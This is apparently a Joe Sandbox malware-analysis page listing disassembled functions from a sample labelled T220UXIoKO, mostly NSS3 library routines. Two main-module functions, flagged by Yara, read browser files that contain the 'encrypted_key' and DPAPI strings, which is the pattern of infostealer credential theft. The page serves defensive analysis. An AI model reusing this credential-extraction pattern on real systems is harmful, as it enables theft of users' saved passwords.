Instruction Fuzzy Hash: 3931A9717169313BEF2E409F5E227DE108A4B6531FF042439F90EE5BC2F689965702E5

Function 6C8F0FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C8F1000

Part of subcall function 6C8A9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C7D1A48), ref: 6C8A9BB3
Part of subcall function 6C8A9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C7D1A48), ref: 6C8A9BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C8F1016

Part of subcall function 6C88C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C88C2BF

PR_Unlock.NSS3(?), ref: 6C8F1021

Part of subcall function 6C88DD70: TlsGetValue.KERNEL32 ref: 6C88DD8C
Part of subcall function 6C88DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C88DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C8F1046
PR_Unlock.NSS3(?), ref: 6C8F106B
PR_Lock.NSS3 ref: 6C8F1079
PR_Unlock.NSS3 ref: 6C8F1096
free.MOZGLUE(?), ref: 6C8F10A7
free.MOZGLUE(?), ref: 6C8F10B4
PR_DestroyCondVar.NSS3(?), ref: 6C8F10BF
PR_DestroyCondVar.NSS3(?), ref: 6C8F10CA
PR_DestroyCondVar.NSS3(?), ref: 6C8F10D5
PR_DestroyCondVar.NSS3(?), ref: 6C8F10E0
PR_DestroyLock.NSS3(?), ref: 6C8F10EB
free.MOZGLUE(?), ref: 6C8F1105

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: d5a4ddbee165bbcaf82e2e1b9135d6f5ed7080cf0772600e50df3c7acf4480ac
Instruction ID: 56ac7ee5e7b1e7d14e66bc132547bcf60f451d5f14c2ab577837cc3e233b07ec
Opcode Fuzzy Hash: d5a4ddbee165bbcaf82e2e1b9135d6f5ed7080cf0772600e50df3c7acf4480ac
Instruction Fuzzy Hash: B531ABF5904401ABDB22AF14EE46A45B772FF41369F184631E80942F61E732F879EBC2

Function 6C82EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C82EE0B

Part of subcall function 6C840BE0: malloc.MOZGLUE(6C838D2D,?,00000000,?), ref: 6C840BF8
Part of subcall function 6C840BE0: TlsGetValue.KERNEL32(6C838D2D,?,00000000,?), ref: 6C840C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C82EEE1

Part of subcall function 6C821D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C821D7E
Part of subcall function 6C821D50: EnterCriticalSection.KERNEL32(?), ref: 6C821D8E
Part of subcall function 6C821D50: PR_Unlock.NSS3(?), ref: 6C821DD3

TlsGetValue.KERNEL32 ref: 6C82EE51
EnterCriticalSection.KERNEL32(?), ref: 6C82EE65
PR_Unlock.NSS3(?), ref: 6C82EEA2
free.MOZGLUE(?), ref: 6C82EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C82EED0
PR_Unlock.NSS3(?), ref: 6C82EF48
free.MOZGLUE(?), ref: 6C82EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C82EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C82EFA4
free.MOZGLUE(?), ref: 6C82EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C82F055
free.MOZGLUE(?), ref: 6C82F060

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: f960c8a9cb258e6c5a7b1b1a48e5fe966f84ea8e4f18f58a375ac28ebec23cd1
Instruction ID: 5b6ec7270c537365d22665ab5fd3c30a741dd896bf8f79956df259e1b25811b7
Opcode Fuzzy Hash: f960c8a9cb258e6c5a7b1b1a48e5fe966f84ea8e4f18f58a375ac28ebec23cd1
Instruction Fuzzy Hash: 7881B275A00209ABDF20DFA8DD85ADE7BB5BF08319F144434E909A3B41E735E964CBE1

Function 6C7F4CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C7F4D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C7F4D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C7F4DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7F4E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C7F4E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C7F4E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C7F4E85
DER_Encode_Util.NSS3(?,?,6C9405A4,00000000), ref: 6C7F4EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C7F4F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C7F4F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C7F4F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C7F4F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C7F4F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C7F4FC8

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: d8bbef437dbd8519baca9c838b714b4beed618189cd2ee4360db63a3ebb48ace
Instruction ID: 46222e9e81d4ab9377b515c9b00f6aae60c932585a508319a1e522903e189f02
Opcode Fuzzy Hash: d8bbef437dbd8519baca9c838b714b4beed618189cd2ee4360db63a3ebb48ace
Instruction Fuzzy Hash: 46818471908301AFE711CF28DA80B5A77E4AB84758F14893DF96CD7741E731DA06DB92

Function 6C828F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C829582), ref: 6C828F5B

Part of subcall function 6C83BE30: SECOID_FindOID_Util.NSS3(6C7F311B,00000000,?,6C7F311B,?), ref: 6C83BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C828F6A

Part of subcall function 6C840FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7E87ED,00000800,6C7DEF74,00000000), ref: 6C841000
Part of subcall function 6C840FF0: PR_NewLock.NSS3(?,00000800,6C7DEF74,00000000), ref: 6C841016
Part of subcall function 6C840FF0: PL_InitArenaPool.NSS3(00000000,security,6C7E87ED,00000008,?,00000800,6C7DEF74,00000000), ref: 6C84102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C828FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C828FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C90D820,6C829576), ref: 6C828FF9
DER_GetInteger_Util.NSS3(?), ref: 6C82901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C82903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C829062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C8290A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C8290CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C8290F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C82912D
free.MOZGLUE(00000000), ref: 6C829136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C829145

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 8b0cf3cbc0a14c40bfcb9151df7afc0b7d69728dbd11ad0a397ec87df5302035
Instruction ID: aba1c30d4f0fb58f58cbe19e4ca0aeb750ca0a53495b7038d4791e722d609679
Opcode Fuzzy Hash: 8b0cf3cbc0a14c40bfcb9151df7afc0b7d69728dbd11ad0a397ec87df5302035
Instruction Fuzzy Hash: A851D1B2A042049BEB20CF299D44B97B7E4AF94318F054939ED5887741E739E989CBD2

Function 6C7DAF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C7DAF47

Part of subcall function 6C8A9090: TlsGetValue.KERNEL32 ref: 6C8A90AB
Part of subcall function 6C8A9090: TlsGetValue.KERNEL32 ref: 6C8A90C9
Part of subcall function 6C8A9090: EnterCriticalSection.KERNEL32 ref: 6C8A90E5
Part of subcall function 6C8A9090: TlsGetValue.KERNEL32 ref: 6C8A9116
Part of subcall function 6C8A9090: LeaveCriticalSection.KERNEL32 ref: 6C8A913F

FreeLibrary.KERNEL32(?), ref: 6C7DAF6D
free.MOZGLUE(?), ref: 6C7DAFA4
free.MOZGLUE(?), ref: 6C7DAFAA
PR_ExitMonitor.NSS3 ref: 6C7DAFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C7DAFF5
PR_ExitMonitor.NSS3 ref: 6C7DB005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C7DB014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C7DB028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C7DB03C

Strings

%s decr => %d, xrefs: 6C7DAFF0
Unloaded library %s, xrefs: 6C7DB023

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 3f130540c75b72b8c5bef434c7e34fdf47326c5aeae7dc4a457c2389abb010b0
Instruction ID: 344bc614253c70db316b3ad1cc3381a57a2be8e3d28edbf956a68273b8a9aef8
Opcode Fuzzy Hash: 3f130540c75b72b8c5bef434c7e34fdf47326c5aeae7dc4a457c2389abb010b0
Instruction Fuzzy Hash: 543129B5B09110ABDB10AF64EE44A05B7B5FB4532CF298675EC0597A00F332F825C7E2

Function 6C826C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C82781D,00000000,6C81BE2C,?,6C826B1D,?,?,?,?,00000000,00000000,6C82781D), ref: 6C826C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C82781D,?,6C81BE2C,?), ref: 6C826C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C82781D), ref: 6C826C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C826C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C826C96

Part of subcall function 6C7D1240: TlsGetValue.KERNEL32(00000040,?,6C7D116C,NSPR_LOG_MODULES), ref: 6C7D1267
Part of subcall function 6C7D1240: EnterCriticalSection.KERNEL32(?,?,?,6C7D116C,NSPR_LOG_MODULES), ref: 6C7D127C
Part of subcall function 6C7D1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C7D116C,NSPR_LOG_MODULES), ref: 6C7D1291
Part of subcall function 6C7D1240: PR_Unlock.NSS3(?,?,?,?,6C7D116C,NSPR_LOG_MODULES), ref: 6C7D12A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C826CAA

Strings

sql:, xrefs: 6C826C52
rdb:, xrefs: 6C826C69
dbm, xrefs: 6C826CA4
NSS_DEFAULT_DB_TYPE, xrefs: 6C826C91
dbm:, xrefs: 6C826C3A
extern:, xrefs: 6C826C7E

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: f4c3f59d010a13bb4d21cc13981a411a8e7266686758a2cbac59cd0578f8993b
Instruction ID: 67a58d2f8d990f6a5ab024505978af66ea67400b2db2eb39238a5632e7b930a8
Opcode Fuzzy Hash: f4c3f59d010a13bb4d21cc13981a411a8e7266686758a2cbac59cd0578f8993b
Instruction Fuzzy Hash: 8A01F2E170A31163E73037799E4EF22218C9F81659F290931FE48E09C1EBAAEA1440E5

Function 004112D0 Relevance: 19.8, APIs: 13, Instructions: 308stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00411307
strtok_s.MSVCRT ref: 00411750

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,00918580,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: f41802520d693aa2ce7094b448986bda543e22c89501d55f20e084e8a7354a62
Instruction ID: 4a233ae47f87f64f9a2ed81d2cca976e3c75948f423937a2df4e62cfbc7c3e06
Opcode Fuzzy Hash: f41802520d693aa2ce7094b448986bda543e22c89501d55f20e084e8a7354a62
Instruction Fuzzy Hash: C7C1D6B5941218ABCB14EF60DC89FEA7379BF54304F00449EF50AA7241DB78AAC5CF95

Function 00414280 Relevance: 19.7, APIs: 13, Instructions: 202stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041429E
memset.MSVCRT ref: 004142B5

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 004142EC
lstrcatA.KERNEL32(?,00920548), ref: 0041430B
lstrcatA.KERNEL32(?,?), ref: 0041431F
lstrcatA.KERNEL32(?,00920230), ref: 00414333

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418D90: GetFileAttributesA.KERNEL32(00000000,?,00410117,?,00000000,?,00000000,00420DAB,00420DAA), ref: 00418D9F

Part of subcall function 00409CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D39
Part of subcall function 00409CE0: memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409D92

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 004193C0: GlobalAlloc.KERNEL32(00000000,004143DD,004143DD), ref: 004193D3

StrStrA.SHLWAPI(?,00921140), ref: 004143F3
GlobalFree.KERNEL32(?), ref: 00414512

Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
Part of subcall function 00409AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
Part of subcall function 00409AC0: LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

lstrcatA.KERNEL32(?,00000000), ref: 004144A3
StrCmpCA.SHLWAPI(?,004208D1), ref: 004144C0
lstrcatA.KERNEL32(00000000,00000000), ref: 004144D2
lstrcatA.KERNEL32(00000000,?), ref: 004144E5
lstrcatA.KERNEL32(00000000,00420FB8), ref: 004144F4

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalStringmemcmpmemset$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 1191620704-0
Opcode ID: 6829cca993cf6c8135103111b9f0e239790d65ddf05b621ea72a954d2df69fc3
Instruction ID: 36ee7f3ac4f34f2e69ac811a17adbc1f593ee72d5fdd25ff7e799b1d0bb6bc25
Opcode Fuzzy Hash: 6829cca993cf6c8135103111b9f0e239790d65ddf05b621ea72a954d2df69fc3
Instruction Fuzzy Hash: 0B7165B6900208BBDB14FBE0DC85FEE7379AB88304F00459DF605A7181EA78DB55CB95

Function 6C834E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C7F78F8), ref: 6C834E6D

Part of subcall function 6C7D09E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C7D06A2,00000000,?), ref: 6C7D09F8
Part of subcall function 6C7D09E0: malloc.MOZGLUE(0000001F), ref: 6C7D0A18
Part of subcall function 6C7D09E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C7D0A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C7F78F8), ref: 6C834ED9

Part of subcall function 6C825920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C827703,?,00000000,00000000), ref: 6C825942
Part of subcall function 6C825920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C827703), ref: 6C825954
Part of subcall function 6C825920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C82596A
Part of subcall function 6C825920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C825984
Part of subcall function 6C825920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C825999
Part of subcall function 6C825920: free.MOZGLUE(00000000), ref: 6C8259BA
Part of subcall function 6C825920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C8259D3
Part of subcall function 6C825920: free.MOZGLUE(00000000), ref: 6C8259F5
Part of subcall function 6C825920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C825A0A
Part of subcall function 6C825920: free.MOZGLUE(00000000), ref: 6C825A2E
Part of subcall function 6C825920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C825A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C7F78F8), ref: 6C834EB3

Part of subcall function 6C834820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C834EB8,?,?,?,?,?,?,?,?,?,?,6C7F78F8), ref: 6C83484C
Part of subcall function 6C834820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C834EB8,?,?,?,?,?,?,?,?,?,?,6C7F78F8), ref: 6C83486D
Part of subcall function 6C834820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C834EB8,?), ref: 6C834884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C7F78F8), ref: 6C834EC0

Part of subcall function 6C834470: TlsGetValue.KERNEL32(00000000,?,6C7F7296,00000000), ref: 6C834487
Part of subcall function 6C834470: EnterCriticalSection.KERNEL32(?,?,?,6C7F7296,00000000), ref: 6C8344A0
Part of subcall function 6C834470: PR_Unlock.NSS3(?,?,?,?,6C7F7296,00000000), ref: 6C8344BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C7F78F8), ref: 6C834F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C7F78F8), ref: 6C834F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C7F78F8), ref: 6C834F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C7F78F8), ref: 6C834F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7F78F8), ref: 6C834F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7F78F8), ref: 6C834F8F
PK11_UpdateSlotAttribute.NSS3(?,6C90DCB0,00000000), ref: 6C834FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C83501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C7F78F8), ref: 6C83506B

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
